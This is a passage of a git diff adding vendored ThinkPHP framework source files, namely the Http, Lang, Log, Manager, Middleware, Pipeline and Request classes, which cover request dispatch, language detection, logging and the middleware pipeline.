$this->name = $name; + return $this; + } + + /** + * 获取应用名称 + * @access public + * @return string + */ + public function getName(): string + { + return $this->name ?: ''; + } + + /** + * 设置应用目录 + * @access public + * @param string $path 应用目录 + * @return $this + */ + public function path(string $path) + { + if (substr($path, -1) != DIRECTORY_SEPARATOR) { + $path .= DIRECTORY_SEPARATOR; + } + + $this->path = $path; + return $this; + } + + /** + * 获取应用路径 + * @access public + * @return string + */ + public function getPath(): string + { + return $this->path ?: ''; + } + + /** + * 获取路由目录 + * @access public + * @return string + */ + public function getRoutePath(): string + { + return $this->routePath; + } + + /** + * 设置路由目录 + * @access public + * @param string $path 路由定义目录 + */ + public function setRoutePath(string $path): void + { + $this->routePath = $path; + } + + /** + * 设置应用绑定 + * @access public + * @param bool $bind 是否绑定 + * @return $this + */ + public function setBind(bool $bind = true) + { + $this->isBind = $bind; + return $this; + } + + /** + * 是否绑定应用 + * @access public + * @return bool + */ + public function isBind(): bool + { + return $this->isBind; + } + + /** + * 执行应用程序 + * @access public + * @param Request|null $request + * @return Response + */ + public function run(Request $request = null): Response + { + //初始化 + $this->initialize(); + + //自动创建request对象 + $request = $request ?? $this->app->make('request', [], true); + $this->app->instance('request', $request); + + try { + $response = $this->runWithRequest($request); + } catch (Throwable $e) { + $this->reportException($e); + + $response = $this->renderException($request, $e); + } + + return $response; + } + + /** + * 初始化 + */ + protected function initialize() + { + if (!$this->app->initialized()) { + $this->app->initialize(); + } + } + + /** + * 执行应用程序 + * @param Request $request + * @return mixed + */ + protected function runWithRequest(Request $request) + { + // 加载全局中间件 + $this->loadMiddleware(); + + // 监听HttpRun + $this->app->event->trigger(HttpRun::class); + + return $this->app->middleware->pipeline() + ->send($request) + ->then(function ($request) { + return $this->dispatchToRoute($request); + }); + } + + protected function dispatchToRoute($request) + { + $withRoute = $this->app->config->get('app.with_route', true) ? function () { + $this->loadRoutes(); + } : null; + + return $this->app->route->dispatch($request, $withRoute); + } + + /** + * 加载全局中间件 + */ + protected function loadMiddleware(): void + { + if (is_file($this->app->getBasePath() . 'middleware.php')) { + $this->app->middleware->import(include $this->app->getBasePath() . 'middleware.php'); + } + } + + /** + * 加载路由 + * @access protected + * @return void + */ + protected function loadRoutes(): void + { + // 加载路由定义 + $routePath = $this->getRoutePath(); + + if (is_dir($routePath)) { + $files = glob($routePath . '*.php'); + foreach ($files as $file) { + include $file; + } + } + + $this->app->event->trigger(RouteLoaded::class); + } + + /** + * Report the exception to the exception handler. + * + * @param Throwable $e + * @return void + */ + protected function reportException(Throwable $e) + { + $this->app->make(Handle::class)->report($e); + } + + /** + * Render the exception to a response. + * + * @param Request $request + * @param Throwable $e + * @return Response + */ + protected function renderException($request, Throwable $e) + { + return $this->app->make(Handle::class)->render($request, $e); + } + + /** + * HttpEnd + * @param Response $response + * @return void + */ + public function end(Response $response): void + { + $this->app->event->trigger(HttpEnd::class, $response); + + //执行中间件 + $this->app->middleware->end($response); + + // 写入日志 + $this->app->log->save(); + } + +} diff --git a/vendor/topthink/framework/src/think/Lang.php b/vendor/topthink/framework/src/think/Lang.php new file mode 100644 index 0000000..d811ea7 --- /dev/null +++ b/vendor/topthink/framework/src/think/Lang.php @@ -0,0 +1,294 @@ + +// +---------------------------------------------------------------------- +declare (strict_types = 1); + +namespace think; + +/** + * 多语言管理类 + * @package think + */ +class Lang +{ + /** + * 配置参数 + * @var array + */ + protected $config = [ + // 默认语言 + 'default_lang' => 'zh-cn', + // 允许的语言列表 + 'allow_lang_list' => [], + // 是否使用Cookie记录 + 'use_cookie' => true, + // 扩展语言包 + 'extend_list' => [], + // 多语言cookie变量 + 'cookie_var' => 'think_lang', + // 多语言header变量 + 'header_var' => 'think-lang', + // 多语言自动侦测变量名 + 'detect_var' => 'lang', + // Accept-Language转义为对应语言包名称 + 'accept_language' => [ + 'zh-hans-cn' => 'zh-cn', + ], + // 是否支持语言分组 + 'allow_group' => false, + ]; + + /** + * 多语言信息 + * @var array + */ + private $lang = []; + + /** + * 当前语言 + * @var string + */ + private $range = 'zh-cn'; + + /** + * 构造方法 + * @access public + * @param array $config + */ + public function __construct(array $config = []) + { + $this->config = array_merge($this->config, array_change_key_case($config)); + $this->range = $this->config['default_lang']; + } + + public static function __make(Config $config) + { + return new static($config->get('lang')); + } + + /** + * 设置当前语言 + * @access public + * @param string $lang 语言 + * @return void + */ + public function setLangSet(string $lang): void + { + $this->range = $lang; + } + + /** + * 获取当前语言 + * @access public + * @return string + */ + public function getLangSet(): string + { + return $this->range; + } + + /** + * 获取默认语言 + * @access public + * @return string + */ + public function defaultLangSet() + { + return $this->config['default_lang']; + } + + /** + * 加载语言定义(不区分大小写) + * @access public + * @param string|array $file 语言文件 + * @param string $range 语言作用域 + * @return array + */ + public function load($file, $range = ''): array + { + $range = $range ?: $this->range; + if (!isset($this->lang[$range])) { + $this->lang[$range] = []; + } + + $lang = []; + + foreach ((array) $file as $name) { + if (is_file($name)) { + $result = $this->parse($name); + $lang = array_change_key_case($result) + $lang; + } + } + + if (!empty($lang)) { + $this->lang[$range] = $lang + $this->lang[$range]; + } + + return $this->lang[$range]; + } + + /** + * 解析语言文件 + * @access protected + * @param string $file 语言文件名 + * @return array + */ + protected function parse(string $file): array + { + $type = pathinfo($file, PATHINFO_EXTENSION); + + switch ($type) { + case 'php': + $result = include $file; + break; + case 'yml': + case 'yaml': + if (function_exists('yaml_parse_file')) { + $result = yaml_parse_file($file); + } + break; + case 'json': + $data = file_get_contents($file); + + if($data !== false) { + $data = json_decode($data, true); + + if(json_last_error() === JSON_ERROR_NONE) { + $result = $data; + } + } + + break; + } + + return isset($result) && is_array($result) ? $result : []; + } + + /** + * 判断是否存在语言定义(不区分大小写) + * @access public + * @param string|null $name 语言变量 + * @param string $range 语言作用域 + * @return bool + */ + public function has(string $name, string $range = ''): bool + { + $range = $range ?: $this->range; + + if ($this->config['allow_group'] && strpos($name, '.')) { + [$name1, $name2] = explode('.', $name, 2); + return isset($this->lang[$range][strtolower($name1)][$name2]); + } + + return isset($this->lang[$range][strtolower($name)]); + } + + /** + * 获取语言定义(不区分大小写) + * @access public + * @param string|null $name 语言变量 + * @param array $vars 变量替换 + * @param string $range 语言作用域 + * @return mixed + */ + public function get(string $name = null, array $vars = [], string $range = '') + { + $range = $range ?: $this->range; + + // 空参数返回所有定义 + if (is_null($name)) { + return $this->lang[$range] ?? []; + } + + if ($this->config['allow_group'] && strpos($name, '.')) { + [$name1, $name2] = explode('.', $name, 2); + + $value = $this->lang[$range][strtolower($name1)][$name2] ?? $name; + } else { + $value = $this->lang[$range][strtolower($name)] ?? $name; + } + + // 变量解析 + if (!empty($vars) && is_array($vars)) { + /** + * Notes: + * 为了检测的方便,数字索引的判断仅仅是参数数组的第一个元素的key为数字0 + * 数字索引采用的是系统的 sprintf 函数替换,用法请参考 sprintf 函数 + */ + if (key($vars) === 0) { + // 数字索引解析 + array_unshift($vars, $value); + $value = call_user_func_array('sprintf', $vars); + } else { + // 关联索引解析 + $replace = array_keys($vars); + foreach ($replace as &$v) { + $v = "{:{$v}}"; + } + $value = str_replace($replace, $vars, $value); + } + } + + return $value; + } + + /** + * 自动侦测设置获取语言选择 + * @access public + * @param Request $request + * @return string + */ + public function detect(Request $request): string + { + // 自动侦测设置获取语言选择 + $langSet = ''; + + if ($request->get($this->config['detect_var'])) { + // url中设置了语言变量 + $langSet = strtolower($request->get($this->config['detect_var'])); + } elseif ($request->header($this->config['header_var'])) { + // Header中设置了语言变量 + $langSet = strtolower($request->header($this->config['header_var'])); + } elseif ($request->cookie($this->config['cookie_var'])) { + // Cookie中设置了语言变量 + $langSet = strtolower($request->cookie($this->config['cookie_var'])); + } elseif ($request->server('HTTP_ACCEPT_LANGUAGE')) { + // 自动侦测浏览器语言 + $match = preg_match('/^([a-z\d\-]+)/i', $request->server('HTTP_ACCEPT_LANGUAGE'), $matches); + if ($match) { + $langSet = strtolower($matches[1]); + if (isset($this->config['accept_language'][$langSet])) { + $langSet = $this->config['accept_language'][$langSet]; + } + } + } + + if (empty($this->config['allow_lang_list']) || in_array($langSet, $this->config['allow_lang_list'])) { + // 合法的语言 + $this->range = $langSet; + } + + return $this->range; + } + + /** + * 保存当前语言到Cookie + * @access public + * @param Cookie $cookie Cookie对象 + * @return void + */ + public function saveToCookie(Cookie $cookie) + { + if ($this->config['use_cookie']) { + $cookie->set($this->config['cookie_var'], $this->range); + } + } + +} diff --git a/vendor/topthink/framework/src/think/Log.php b/vendor/topthink/framework/src/think/Log.php new file mode 100644 index 0000000..e9031c7 --- /dev/null +++ b/vendor/topthink/framework/src/think/Log.php @@ -0,0 +1,342 @@ + +// +---------------------------------------------------------------------- +declare (strict_types = 1); + +namespace think; + +use InvalidArgumentException; +use Psr\Log\LoggerInterface; +use think\event\LogWrite; +use think\helper\Arr; +use think\log\Channel; +use think\log\ChannelSet; + +/** + * 日志管理类 + * @package think + * @mixin Channel + */ +class Log extends Manager implements LoggerInterface +{ + const EMERGENCY = 'emergency'; + const ALERT = 'alert'; + const CRITICAL = 'critical'; + const ERROR = 'error'; + const WARNING = 'warning'; + const NOTICE = 'notice'; + const INFO = 'info'; + const DEBUG = 'debug'; + const SQL = 'sql'; + + protected $namespace = '\\think\\log\\driver\\'; + + /** + * 默认驱动 + * @return string|null + */ + public function getDefaultDriver() + { + return $this->getConfig('default'); + } + + /** + * 获取日志配置 + * @access public + * @param null|string $name 名称 + * @param mixed $default 默认值 + * @return mixed + */ + public function getConfig(string $name = null, $default = null) + { + if (!is_null($name)) { + return $this->app->config->get('log.' . $name, $default); + } + + return $this->app->config->get('log'); + } + + /** + * 获取渠道配置 + * @param string $channel + * @param null $name + * @param null $default + * @return array + */ + public function getChannelConfig($channel, $name = null, $default = null) + { + if ($config = $this->getConfig("channels.{$channel}")) { + return Arr::get($config, $name, $default); + } + + throw new InvalidArgumentException("Channel [$channel] not found."); + } + + /** + * driver()的别名 + * @param string|array $name 渠道名 + * @return Channel|ChannelSet + */ + public function channel($name = null) + { + if (is_array($name)) { + return new ChannelSet($this, $name); + } + + return $this->driver($name); + } + + protected function resolveType(string $name) + { + return $this->getChannelConfig($name, 'type', 'file'); + } + + public function createDriver(string $name) + { + $driver = parent::createDriver($name); + + $lazy = !$this->getChannelConfig($name, "realtime_write", false) && !$this->app->runningInConsole(); + $allow = array_merge($this->getConfig("level", []), $this->getChannelConfig($name, "level", [])); + + return new Channel($name, $driver, $allow, $lazy, $this->app->event); + } + + protected function resolveConfig(string $name) + { + return $this->getChannelConfig($name); + } + + /** + * 清空日志信息 + * @access public + * @param string|array $channel 日志通道名 + * @return $this + */ + public function clear($channel = '*') + { + if ('*' == $channel) { + $channel = array_keys($this->drivers); + } + + $this->channel($channel)->clear(); + + return $this; + } + + /** + * 关闭本次请求日志写入 + * @access public + * @param string|array $channel 日志通道名 + * @return $this + */ + public function close($channel = '*') + { + if ('*' == $channel) { + $channel = array_keys($this->drivers); + } + + $this->channel($channel)->close(); + + return $this; + } + + /** + * 获取日志信息 + * @access public + * @param string $channel 日志通道名 + * @return array + */ + public function getLog(string $channel = null): array + { + return $this->channel($channel)->getLog(); + } + + /** + * 保存日志信息 + * @access public + * @return bool + */ + public function save(): bool + { + /** @var Channel $channel */ + foreach ($this->drivers as $channel) { + $channel->save(); + } + + return true; + } + + /** + * 记录日志信息 + * @access public + * @param mixed $msg 日志信息 + * @param string $type 日志级别 + * @param array $context 替换内容 + * @param bool $lazy + * @return $this + */ + public function record($msg, string $type = 'info', array $context = [], bool $lazy = true) + { + $channel = $this->getConfig('type_channel.' . $type); + + $this->channel($channel)->record($msg, $type, $context, $lazy); + + return $this; + } + + /** + * 实时写入日志信息 + * @access public + * @param mixed $msg 调试信息 + * @param string $type 日志级别 + * @param array $context 替换内容 + * @return $this + */ + public function write($msg, string $type = 'info', array $context = []) + { + return $this->record($msg, $type, $context, false); + } + + /** + * 注册日志写入事件监听 + * @param $listener + * @return Event + */ + public function listen($listener) + { + return $this->app->event->listen(LogWrite::class, $listener); + } + + /** + * 记录日志信息 + * @access public + * @param string $level 日志级别 + * @param mixed $message 日志信息 + * @param array $context 替换内容 + * @return void + */ + public function log($level, $message, array $context = []): void + { + $this->record($message, $level, $context); + } + + /** + * 记录emergency信息 + * @access public + * @param mixed $message 日志信息 + * @param array $context 替换内容 + * @return void + */ + public function emergency($message, array $context = []): void + { + $this->log(__FUNCTION__, $message, $context); + } + + /** + * 记录警报信息 + * @access public + * @param mixed $message 日志信息 + * @param array $context 替换内容 + * @return void + */ + public function alert($message, array $context = []): void + { + $this->log(__FUNCTION__, $message, $context); + } + + /** + * 记录紧急情况 + * @access public + * @param mixed $message 日志信息 + * @param array $context 替换内容 + * @return void + */ + public function critical($message, array $context = []): void + { + $this->log(__FUNCTION__, $message, $context); + } + + /** + * 记录错误信息 + * @access public + * @param mixed $message 日志信息 + * @param array $context 替换内容 + * @return void + */ + public function error($message, array $context = []): void + { + $this->log(__FUNCTION__, $message, $context); + } + + /** + * 记录warning信息 + * @access public + * @param mixed $message 日志信息 + * @param array $context 替换内容 + * @return void + */ + public function warning($message, array $context = []): void + { + $this->log(__FUNCTION__, $message, $context); + } + + /** + * 记录notice信息 + * @access public + * @param mixed $message 日志信息 + * @param array $context 替换内容 + * @return void + */ + public function notice($message, array $context = []): void + { + $this->log(__FUNCTION__, $message, $context); + } + + /** + * 记录一般信息 + * @access public + * @param mixed $message 日志信息 + * @param array $context 替换内容 + * @return void + */ + public function info($message, array $context = []): void + { + $this->log(__FUNCTION__, $message, $context); + } + + /** + * 记录调试信息 + * @access public + * @param mixed $message 日志信息 + * @param array $context 替换内容 + * @return void + */ + public function debug($message, array $context = []): void + { + $this->log(__FUNCTION__, $message, $context); + } + + /** + * 记录sql信息 + * @access public + * @param mixed $message 日志信息 + * @param array $context 替换内容 + * @return void + */ + public function sql($message, array $context = []): void + { + $this->log(__FUNCTION__, $message, $context); + } + + public function __call($method, $parameters) + { + $this->log($method, ...$parameters); + } +} diff --git a/vendor/topthink/framework/src/think/Manager.php b/vendor/topthink/framework/src/think/Manager.php new file mode 100644 index 0000000..741f702 --- /dev/null +++ b/vendor/topthink/framework/src/think/Manager.php @@ -0,0 +1,177 @@ + +// +---------------------------------------------------------------------- +declare (strict_types = 1); + +namespace think; + +use InvalidArgumentException; +use think\helper\Str; + +abstract class Manager +{ + /** @var App */ + protected $app; + + /** + * 驱动 + * @var array + */ + protected $drivers = []; + + /** + * 驱动的命名空间 + * @var string + */ + protected $namespace = null; + + public function __construct(App $app) + { + $this->app = $app; + } + + /** + * 获取驱动实例 + * @param null|string $name + * @return mixed + */ + protected function driver(string $name = null) + { + $name = $name ?: $this->getDefaultDriver(); + + if (is_null($name)) { + throw new InvalidArgumentException(sprintf( + 'Unable to resolve NULL driver for [%s].', + static::class + )); + } + + return $this->drivers[$name] = $this->getDriver($name); + } + + /** + * 获取驱动实例 + * @param string $name + * @return mixed + */ + protected function getDriver(string $name) + { + return $this->drivers[$name] ?? $this->createDriver($name); + } + + /** + * 获取驱动类型 + * @param string $name + * @return mixed + */ + protected function resolveType(string $name) + { + return $name; + } + + /** + * 获取驱动配置 + * @param string $name + * @return mixed + */ + protected function resolveConfig(string $name) + { + return $name; + } + + /** + * 获取驱动类 + * @param string $type + * @return string + */ + protected function resolveClass(string $type): string + { + if ($this->namespace || false !== strpos($type, '\\')) { + $class = false !== strpos($type, '\\') ? $type : $this->namespace . Str::studly($type); + + if (class_exists($class)) { + return $class; + } + } + + throw new InvalidArgumentException("Driver [$type] not supported."); + } + + /** + * 获取驱动参数 + * @param $name + * @return array + */ + protected function resolveParams($name): array + { + $config = $this->resolveConfig($name); + return [$config]; + } + + /** + * 创建驱动 + * + * @param string $name + * @return mixed + * + */ + protected function createDriver(string $name) + { + $type = $this->resolveType($name); + + $method = 'create' . Str::studly($type) . 'Driver'; + + $params = $this->resolveParams($name); + + if (method_exists($this, $method)) { + return $this->$method(...$params); + } + + $class = $this->resolveClass($type); + + return $this->app->invokeClass($class, $params); + } + + /** + * 移除一个驱动实例 + * + * @param array|string|null $name + * @return $this + */ + public function forgetDriver($name = null) + { + $name = $name ?? $this->getDefaultDriver(); + + foreach ((array) $name as $cacheName) { + if (isset($this->drivers[$cacheName])) { + unset($this->drivers[$cacheName]); + } + } + + return $this; + } + + /** + * 默认驱动 + * @return string|null + */ + abstract public function getDefaultDriver(); + + /** + * 动态调用 + * @param string $method + * @param array $parameters + * @return mixed + */ + public function __call($method, $parameters) + { + return $this->driver()->$method(...$parameters); + } +} diff --git a/vendor/topthink/framework/src/think/Middleware.php b/vendor/topthink/framework/src/think/Middleware.php new file mode 100644 index 0000000..0868fb2 --- /dev/null +++ b/vendor/topthink/framework/src/think/Middleware.php @@ -0,0 +1,257 @@ + +// +---------------------------------------------------------------------- +declare (strict_types = 1); + +namespace think; + +use Closure; +use InvalidArgumentException; +use LogicException; +use think\exception\Handle; +use Throwable; + +/** + * 中间件管理类 + * @package think + */ +class Middleware +{ + /** + * 中间件执行队列 + * @var array + */ + protected $queue = []; + + /** + * 应用对象 + * @var App + */ + protected $app; + + public function __construct(App $app) + { + $this->app = $app; + } + + /** + * 导入中间件 + * @access public + * @param array $middlewares + * @param string $type 中间件类型 + * @return void + */ + public function import(array $middlewares = [], string $type = 'global'): void + { + foreach ($middlewares as $middleware) { + $this->add($middleware, $type); + } + } + + /** + * 注册中间件 + * @access public + * @param mixed $middleware + * @param string $type 中间件类型 + * @return void + */ + public function add($middleware, string $type = 'global'): void + { + $middleware = $this->buildMiddleware($middleware, $type); + + if (!empty($middleware)) { + $this->queue[$type][] = $middleware; + $this->queue[$type] = array_unique($this->queue[$type], SORT_REGULAR); + } + } + + /** + * 注册路由中间件 + * @access public + * @param mixed $middleware + * @return void + */ + public function route($middleware): void + { + $this->add($middleware, 'route'); + } + + /** + * 注册控制器中间件 + * @access public + * @param mixed $middleware + * @return void + */ + public function controller($middleware): void + { + $this->add($middleware, 'controller'); + } + + /** + * 注册中间件到开始位置 + * @access public + * @param mixed $middleware + * @param string $type 中间件类型 + */ + public function unshift($middleware, string $type = 'global') + { + $middleware = $this->buildMiddleware($middleware, $type); + + if (!empty($middleware)) { + if (!isset($this->queue[$type])) { + $this->queue[$type] = []; + } + + array_unshift($this->queue[$type], $middleware); + } + } + + /** + * 获取注册的中间件 + * @access public + * @param string $type 中间件类型 + * @return array + */ + public function all(string $type = 'global'): array + { + return $this->queue[$type] ?? []; + } + + /** + * 调度管道 + * @access public + * @param string $type 中间件类型 + * @return Pipeline + */ + public function pipeline(string $type = 'global') + { + return (new Pipeline()) + ->through(array_map(function ($middleware) { + return function ($request, $next) use ($middleware) { + [$call, $params] = $middleware; + if (is_array($call) && is_string($call[0])) { + $call = [$this->app->make($call[0]), $call[1]]; + } + $response = call_user_func($call, $request, $next, ...$params); + + if (!$response instanceof Response) { + throw new LogicException('The middleware must return Response instance'); + } + return $response; + }; + }, $this->sortMiddleware($this->queue[$type] ?? []))) + ->whenException([$this, 'handleException']); + } + + /** + * 结束调度 + * @param Response $response + */ + public function end(Response $response) + { + foreach ($this->queue as $queue) { + foreach ($queue as $middleware) { + [$call] = $middleware; + if (is_array($call) && is_string($call[0])) { + $instance = $this->app->make($call[0]); + if (method_exists($instance, 'end')) { + $instance->end($response); + } + } + } + } + } + + /** + * 异常处理 + * @param Request $passable + * @param Throwable $e + * @return Response + */ + public function handleException($passable, Throwable $e) + { + /** @var Handle $handler */ + $handler = $this->app->make(Handle::class); + + $handler->report($e); + + return $handler->render($passable, $e); + } + + /** + * 解析中间件 + * @access protected + * @param mixed $middleware + * @param string $type 中间件类型 + * @return array + */ + protected function buildMiddleware($middleware, string $type): array + { + if (is_array($middleware)) { + [$middleware, $params] = $middleware; + } + + if ($middleware instanceof Closure) { + return [$middleware, $params ?? []]; + } + + if (!is_string($middleware)) { + throw new InvalidArgumentException('The middleware is invalid'); + } + + //中间件别名检查 + $alias = $this->app->config->get('middleware.alias', []); + + if (isset($alias[$middleware])) { + $middleware = $alias[$middleware]; + } + + if (is_array($middleware)) { + $this->import($middleware, $type); + return []; + } + + return [[$middleware, 'handle'], $params ?? []]; + } + + /** + * 中间件排序 + * @param array $middlewares + * @return array + */ + protected function sortMiddleware(array $middlewares) + { + $priority = $this->app->config->get('middleware.priority', []); + uasort($middlewares, function ($a, $b) use ($priority) { + $aPriority = $this->getMiddlewarePriority($priority, $a); + $bPriority = $this->getMiddlewarePriority($priority, $b); + return $bPriority - $aPriority; + }); + + return $middlewares; + } + + /** + * 获取中间件优先级 + * @param $priority + * @param $middleware + * @return int + */ + protected function getMiddlewarePriority($priority, $middleware) + { + [$call] = $middleware; + if (is_array($call) && is_string($call[0])) { + $index = array_search($call[0], array_reverse($priority)); + return false === $index ? -1 : $index; + } + return -1; + } + +} diff --git a/vendor/topthink/framework/src/think/Pipeline.php b/vendor/topthink/framework/src/think/Pipeline.php new file mode 100644 index 0000000..73036f3 --- /dev/null +++ b/vendor/topthink/framework/src/think/Pipeline.php @@ -0,0 +1,107 @@ + +// +---------------------------------------------------------------------- +namespace think; + +use Closure; +use Exception; +use Throwable; + +class Pipeline +{ + protected $passable; + + protected $pipes = []; + + protected $exceptionHandler; + + /** + * 初始数据 + * @param $passable + * @return $this + */ + public function send($passable) + { + $this->passable = $passable; + return $this; + } + + /** + * 调用栈 + * @param $pipes + * @return $this + */ + public function through($pipes) + { + $this->pipes = is_array($pipes) ? $pipes : func_get_args(); + return $this; + } + + /** + * 执行 + * @param Closure $destination + * @return mixed + */ + public function then(Closure $destination) + { + $pipeline = array_reduce( + array_reverse($this->pipes), + $this->carry(), + function ($passable) use ($destination) { + try { + return $destination($passable); + } catch (Throwable | Exception $e) { + return $this->handleException($passable, $e); + } + } + ); + + return $pipeline($this->passable); + } + + /** + * 设置异常处理器 + * @param callable $handler + * @return $this + */ + public function whenException($handler) + { + $this->exceptionHandler = $handler; + return $this; + } + + protected function carry() + { + return function ($stack, $pipe) { + return function ($passable) use ($stack, $pipe) { + try { + return $pipe($passable, $stack); + } catch (Throwable | Exception $e) { + return $this->handleException($passable, $e); + } + }; + }; + } + + /** + * 异常处理 + * @param $passable + * @param $e + * @return mixed + */ + protected function handleException($passable, Throwable $e) + { + if ($this->exceptionHandler) { + return call_user_func($this->exceptionHandler, $passable, $e); + } + throw $e; + } + +} diff --git a/vendor/topthink/framework/src/think/Request.php b/vendor/topthink/framework/src/think/Request.php new file mode 100644 index 0000000..0181ab8 --- /dev/null +++ b/vendor/topthink/framework/src/think/Request.php @@ -0,0 +1,2149 @@ + +// +---------------------------------------------------------------------- +declare (strict_types = 1); + +namespace think; + +use ArrayAccess; +use think\file\UploadedFile; +use think\route\Rule; + +/** + * 请求管理类 + * @package think + */ +class Request implements ArrayAccess +{ + /** + * 兼容PATH_INFO获取 + * @var array + */ + protected $pathinfoFetch = ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL']; + + /** + * PATHINFO变量名 用于兼容模式 + * @var string + */ + protected $varPathinfo = 's'; + + /** + * 请求类型 + * @var string + */ + protected $varMethod = '_method'; + + /** + * 表单ajax伪装变量 + * @var string + */ + protected $varAjax = '_ajax'; + + /** + * 表单pjax伪装变量 + * @var string + */ + protected $varPjax = '_pjax'; + + /** + * 域名根 + * @var string + */ + protected $rootDomain = ''; + + /** + * HTTPS代理标识 + * @var string + */ + protected $httpsAgentName = ''; + + /** + * 前端代理服务器IP + * @var array + */ + protected $proxyServerIp = []; + + /** + * 前端代理服务器真实IP头 + * @var array + */ + protected $proxyServerIpHeader = ['HTTP_X_REAL_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_CLIENT_IP', 'HTTP_X_CLIENT_IP', 'HTTP_X_CLUSTER_CLIENT_IP']; + + /** + * 请求类型 + * @var string + */ + protected $method; + + /** + * 域名(含协议及端口) + * @var string + */ + protected $domain; + + /** + * HOST(含端口) + * @var string + */ + protected $host; + + /** + * 子域名 + * @var string + */ + protected $subDomain; + + /** + * 泛域名 + * @var string + */ + protected $panDomain; + + /** + * 当前URL地址 + * @var string + */ + protected $url; + + /** + * 基础URL + * @var string + */ + protected $baseUrl; + + /** + * 当前执行的文件 + * @var string + */ + protected $baseFile; + + /** + * 访问的ROOT地址 + * @var string + */ + protected $root; + + /** + * pathinfo + * @var string + */ + protected $pathinfo; + + /** + * pathinfo(不含后缀) + * @var string + */ + protected $path; + + /** + * 当前请求的IP地址 + * @var string + */ + protected $realIP; + + /** + * 当前控制器名 + * @var string + */ + protected $controller; + + /** + * 当前操作名 + * @var string + */ + protected $action; + + /** + * 当前请求参数 + * @var array + */ + protected $param = []; + + /** + * 当前GET参数 + * @var array + */ + protected $get = []; + + /** + * 当前POST参数 + * @var array + */ + protected $post = []; + + /** + * 当前REQUEST参数 + * @var array + */ + protected $request = []; + + /** + * 当前路由对象 + * @var Rule + */ + protected $rule; + + /** + * 当前ROUTE参数 + * @var array + */ + protected $route = []; + + /** + * 中间件传递的参数 + * @var array + */ + protected $middleware = []; + + /** + * 当前PUT参数 + * @var array + */ + protected $put; + + /** + * SESSION对象 + * @var Session + */ + protected $session; + + /** + * COOKIE数据 + * @var array + */ + protected $cookie = []; + + /** + * ENV对象 + * @var Env + */ + protected $env; + + /** + * 当前SERVER参数 + * @var array + */ + protected $server = []; + + /** + * 当前FILE参数 + * @var array + */ + protected $file = []; + + /** + * 当前HEADER参数 + * @var array + */ + protected $header = []; + + /** + * 资源类型定义 + * @var array + */ + protected $mimeType = [ + 'xml' => 'application/xml,text/xml,application/x-xml', + 'json' => 'application/json,text/x-json,application/jsonrequest,text/json', + 'js' => 'text/javascript,application/javascript,application/x-javascript', + 'css' => 'text/css', + 'rss' => 'application/rss+xml', + 'yaml' => 'application/x-yaml,text/yaml', + 'atom' => 'application/atom+xml', + 'pdf' => 'application/pdf', + 'text' => 'text/plain', + 'image' => 'image/png,image/jpg,image/jpeg,image/pjpeg,image/gif,image/webp,image/*', + 'csv' => 'text/csv', + 'html' => 'text/html,application/xhtml+xml,*/*', + ]; + + /** + * 当前请求内容 + * @var string + */ + protected $content; + + /** + * 全局过滤规则 + * @var array + */ + protected $filter; + + /** + * php://input内容 + * @var string + */ + // php://input + protected $input; + + /** + * 请求安全Key + * @var string + */ + protected $secureKey; + + /** + * 是否合并Param + * @var bool + */ + protected $mergeParam = false; + + /** + * 架构函数 + * @access public + */ + public function __construct() + { + // 保存 php://input + $this->input = file_get_contents('php://input'); + } + + public static function __make(App $app) + { + $request = new static(); + + if (function_exists('apache_request_headers') && $result = apache_request_headers()) { + $header = $result; + } else { + $header = []; + $server = $_SERVER; + foreach ($server as $key => $val) { + if (0 === strpos($key, 'HTTP_')) { + $key = str_replace('_', '-', strtolower(substr($key, 5))); + $header[$key] = $val; + } + } + if (isset($server['CONTENT_TYPE'])) { + $header['content-type'] = $server['CONTENT_TYPE']; + } + if (isset($server['CONTENT_LENGTH'])) { + $header['content-length'] = $server['CONTENT_LENGTH']; + } + } + + $request->header = array_change_key_case($header); + $request->server = $_SERVER; + $request->env = $app->env; + + $inputData = $request->getInputData($request->input); + + $request->get = $_GET; + $request->post = $_POST ?: $inputData; + $request->put = $inputData; + $request->request = $_REQUEST; + $request->cookie = $_COOKIE; + $request->file = $_FILES ?? []; + + return $request; + } + + /** + * 设置当前包含协议的域名 + * @access public + * @param string $domain 域名 + * @return $this + */ + public function setDomain(string $domain) + { + $this->domain = $domain; + return $this; + } + + /** + * 获取当前包含协议的域名 + * @access public + * @param bool $port 是否需要去除端口号 + * @return string + */ + public function domain(bool $port = false): string + { + return $this->scheme() . '://' . $this->host($port); + } + + /** + * 获取当前根域名 + * @access public + * @return string + */ + public function rootDomain(): string + { + $root = $this->rootDomain; + + if (!$root) { + $item = explode('.', $this->host()); + $count = count($item); + $root = $count > 1 ? $item[$count - 2] . '.' . $item[$count - 1] : $item[0]; + } + + return $root; + } + + /** + * 设置当前泛域名的值 + * @access public + * @param string $domain 域名 + * @return $this + */ + public function setSubDomain(string $domain) + { + $this->subDomain = $domain; + return $this; + } + + /** + * 获取当前子域名 + * @access public + * @return string + */ + public function subDomain(): string + { + if (is_null($this->subDomain)) { + // 获取当前主域名 + $rootDomain = $this->rootDomain(); + + if ($rootDomain) { + $this->subDomain = rtrim(stristr($this->host(), $rootDomain, true), '.'); + } else { + $this->subDomain = ''; + } + } + + return $this->subDomain; + } + + /** + * 设置当前泛域名的值 + * @access public + * @param string $domain 域名 + * @return $this + */ + public function setPanDomain(string $domain) + { + $this->panDomain = $domain; + return $this; + } + + /** + * 获取当前泛域名的值 + * @access public + * @return string + */ + public function panDomain(): string + { + return $this->panDomain ?: ''; + } + + /** + * 设置当前完整URL 包括QUERY_STRING + * @access public + * @param string $url URL地址 + * @return $this + */ + public function setUrl(string $url) + { + $this->url = $url; + return $this; + } + + /** + * 获取当前完整URL 包括QUERY_STRING + * @access public + * @param bool $complete 是否包含完整域名 + * @return string + */ + public function url(bool $complete = false): string + { + if ($this->url) { + $url = $this->url; + } elseif ($this->server('HTTP_X_REWRITE_URL')) { + $url = $this->server('HTTP_X_REWRITE_URL'); + } elseif ($this->server('REQUEST_URI')) { + $url = $this->server('REQUEST_URI'); + } elseif ($this->server('ORIG_PATH_INFO')) { + $url = $this->server('ORIG_PATH_INFO') . (!empty($this->server('QUERY_STRING')) ? '?' . $this->server('QUERY_STRING') : ''); + } elseif (isset($_SERVER['argv'][1])) { + $url = $_SERVER['argv'][1]; + } else { + $url = ''; + } + + return $complete ? $this->domain() . $url : $url; + } + + /** + * 设置当前URL 不含QUERY_STRING + * @access public + * @param string $url URL地址 + * @return $this + */ + public function setBaseUrl(string $url) + { + $this->baseUrl = $url; + return $this; + } + + /** + 